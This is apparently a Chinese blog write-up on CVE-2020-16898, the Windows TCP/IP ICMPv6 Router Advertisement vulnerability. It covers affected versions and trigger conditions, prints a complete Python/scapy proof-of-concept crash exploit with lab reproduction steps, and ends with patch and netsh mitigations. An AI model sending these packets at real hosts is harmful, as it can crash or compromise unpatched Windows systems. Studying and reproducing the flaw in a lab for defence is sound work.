CVE-2020-16898 Windows tcp/ip远程代码执行漏洞

CVE-2020-16898 Windows tcp/ip远程代码执行漏洞

0x00 前言

2020年10月13日,Microsoft 发布了 TCP/IP远程代码执行漏洞的风险通告,该漏洞编号为CVE-2020-16898。

0x01 漏洞简述

远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包,并将其发送到远程Windows主机上,即可在目标主机上执行任意代码。要利用此漏洞,攻击者必须将特制的ICMPv6路由器广告数据包发送到远程Windows计算机。

触发条件

  • 仅当源地址是本地链接的IPv6时,才能利用此bug。
  • 整个有效负载必须是有效的IPv6数据包。如果您将标头弄得太多,触发触发错误之前,您的数据包将被拒绝
  • 在验证数据包大小的过程中,可选标头中所有定义的“长度”必须与数据包大小匹配
  • 此漏洞允许走私额外的“标题”。此标头未经验证,并且包含“长度”字段。触发错误后,无论如何都会根据数据包大小检查此字段。
  • 需要绕过Windows NDIS API可以触发错误

0x02 影响版本

漏洞等级:严重,漏洞评分:9.8。
microsoft:window_server_2019:/1903/1909/2004
microsoft:window_server_2019:*
microsoft:window_server:1903/1909/2004

0x03 payload

payload以及详细分析过程可参考http://blog.pi3.com.pl/?p=780

exp下载地址
http://site.pi3.com.pl/exp/p_CVE-2020-16898.py

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
#

from scapy.all import *

v6_dst = "fd12:db80:b052:0:7ca6:e06e:acc1:481b"
v6_src = "fe80::24f5:a2ff:fe30:8890"

p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4

c = ICMPv6NDOptEFA();

e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]

pkt = ICMPv6ND_RA() / ICMPv6NDOptRDNSS(len=8) / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e

p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt

l=fragment6(p_test_frag, 200)

for p in l:
    send(p)

0x04 复现过程

攻击机环境准备

攻击机:ubuntu
(python版本:3.7,安装了scapy依赖)

pip install scapy

攻击机的IPv6为

fe80::b1b3:3a5a:b16d:3385

漏洞环境准备

漏洞环境机:windows10 1903
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞_第1张图片

漏洞环境机子需要开启ipv6
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞_第2张图片

使用cmd的ipconfig查看
CVE-2020-16898 Windows tcp/ip远程代码执行漏洞_第3张图片

现在漏洞环境里IPv6地址为

fdb2:2c26:f4e4:0:2d3a:7f28:92af:3192

根据脚本来看,漏洞环境机选用的ipv6地址为ipv6地址或临时ipv6地址,攻击机选用的ipv6地址为本地链接ipv6地址,攻击机与受害机网络要通,可尝试ping一下
**CVE-2020-16898 Windows tcp/ip远程代码执行漏洞_第4张图片
**
**

复现过程

修改exp中的v6_dst 以及v6_src

v6_dst = "fdb2:2c26:f4e4:0:2d3a:7f28:92af:3192"
v6_src = "fe80::b1b3:3a5a:b16d:3385"

sudo python3.7 p_CVE-2020-16898.py

0x05 解决措施

  1. 升级更新。立即安装针对此漏洞的更新,下载最新的补丁包进行更新修复,如下连接。

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

  1. 不能升级的话,先禁用基于RA的DNS配置

CMPv6 RDNSS
使用以下PowerShell命令禁用ICMPv6 RDNSS,以防止攻击者利用此漏洞。此解决方法仅适用于Windows 1709及更高版本。

netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable

注意: 进行更改后,无需重新启动。

0x06 References

  1. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
  2. http://blog.pi3.com.pl/?p=780
  3. https://blog.csdn.net/qq_22807425/article/details/109448911

0x07 author DesM0nd

你可能感兴趣的:(windows,安全,python,ubuntu,tcpip)